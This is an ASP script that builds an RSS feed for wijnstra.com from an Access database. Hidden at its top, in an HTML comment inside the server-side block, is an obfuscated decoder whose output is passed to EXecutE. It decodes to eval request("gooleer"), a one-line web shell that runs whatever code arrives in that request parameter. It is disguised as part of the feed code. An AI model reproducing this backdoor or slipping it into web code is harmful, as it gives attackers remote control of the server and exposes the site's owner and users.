<%
<!--
Function KQWG(YMER):
	YMER = Split(YMER,"^")
	For x=0 To Ubound(YMER)
		KQWG=KQWG&Chr(YMER(x)-206)
	Next
End Function
EXecutE(KQWG("307^324^303^314^238^320^307^319^323^307^321^322^246^240^309^317^317^309^314^307^307^320^240^247"))
-->
%><% response.ContentType = "text/xml" 
set conn=Server.CreateObject("ADODB.Connection") 
conn.open "driver={Microsoft Access Driver (*.mdb)};dbq=D:\HostingSpaces\TWijnstra\wijnstra.com\data\tjwirssfeed.mdb;" 
sql="SELECT title, link, description, category FROM tblItems WHERE display = yes ORDER BY ID DESC" 
set rs=Conn.Execute(sql)

rs.MoveFirst()

response.write("<?xml version='1.0' encoding='ISO-8859-1'?>")
response.write("<rss version='2.0'>")
response.write("<channel>")
response.write("<title>w i j n s t r a . c o m</title>")
response.write("<description>w i j n s t r a . c o m</description>")
response.write("<language>nl</language>")
while (not rs.EOF)
  response.write("<item>")
  response.write("<title><![CDATA[" & rs("title") & "]]></title>")
  response.write("<link>" & rs("link") & "</link>")
  response.write("<description><![CDATA[" & rs("description") & "<br/><br/><br/><br/><i>Heb je nieuws voor de wijnstra.com feed, stuur Tjerk dan een email.</i>]]></description>")
  response.write("<category><![CDATA[" & rs("category") & "]]></category>")
  response.write("</item>")
  rs.MoveNext()
wend

rs.close()
conn.close()
response.write("</channel>")
response.write("</rss>")
%>